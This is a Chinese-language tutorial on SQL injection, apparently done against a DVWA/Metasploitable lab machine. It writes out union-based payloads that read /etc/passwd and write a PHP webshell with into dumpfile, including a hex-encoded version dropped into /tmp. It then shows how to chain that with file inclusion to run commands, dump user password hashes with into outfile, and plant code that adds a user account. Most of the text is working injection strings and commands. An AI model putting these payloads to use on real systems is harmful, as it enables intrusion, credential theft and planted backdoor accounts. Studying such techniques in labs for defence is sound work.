SQL注入(二)
1.读取文件
' union select null,load_file('/etc/passwd')--
使用burpsuite工具:修改id的参数重新进行提交。
2.写入文件
关键词:dumpfile
' union select null,"<?php passthru($_GET[cmd]);?>" into dumpfile "/var/www/a.php"--
#会报错,修改为下面语句,文件会被dump到默认的位置
' union select null,"<?php passthru($_GET[cmd]);?>" into dumpfile "a.php"--
修改后:
#我们通过ssh连接到靶机上
ssh msfadmin@10.0.0.141
#查找a.php的位置
sudo find / -name a.php
#切换为root用户
sudo -i
查找a.php文件,其存放位置为/var/lib/mysql/dvwa/a.php,查看其主组关系都是mysql,所以当下使用的msfadmin用户登录是无法查看a.php文件的,此时就需要切换为root用户查看。
所以就存在一个问题:我们可以把脚本上传到服务器,但是我们无法打开它执行它。所以就无法利用,但我们可以通过文件包含的方式去利用漏洞,也可以将文件写入到其他文件。linux下/tmp是任何人都可以向里面写入文件的,我们就可以向/tmp中写入,再通过文件包含漏洞利用它。
' union select null,"<?php passthru($_GET[cmd]);?>" into dumpfile "/tmp/a.php"--
文件包含漏洞,就是本身当前页面是有执行权限的,他去读取/tmp/a.php文件,将其加载进来成为当前页面的一部分,再通过后面的参数去执行。
上述方法我们是通过直接上传代码片段,我们也可以通过将代码片段进行二进制编码再上传:
#在本地新建一个a.php文件
<?php passthru($_GET[cmd]);?>
#将a.php进行二进制编码并删除空格,将内容执行为一行
cat a.php | xxd -ps | tr -d '\n'
#执行结果为:3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a
#在burp里面修改参数,(0x+上述执行结果),注意null,后面有一个空格,否则会上传失败
' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a) into dumpfile "/tmp/x.php"--
通过文件包含漏洞去执行:
总结:上述方式是利用sql注入+文件包含漏洞来实现的。
3.保存下载数据库
关键词:outfile
' union select null,concat(user,0x3a,password) from users into outfile '/tmp/a.db'--
通过文件包含漏洞访问a.db,可以看到结果:
一个思路:
某些情况,上传webshell不能满足自己的需求,可能存在上传的webshell没有办法很好的执行,实际情况下,存在各种条件限制,也可能存在得到一个权限很低的shell,也没什么事情可做,所以没有意义。此时我们可以换一种思路。
当我对目标程序有了足够的了解(比如数据库结构、表结构、程序设计的逻辑方法等),可以写一段代码放到目标服务器上,利用目标服务器来执行这段代码完成功能性的实现。利用这段代码,我们可以在目标服务器上创建一个表单的页面,在这个页面我们可以去向目标服务器的数据库里去插入一个用户账号。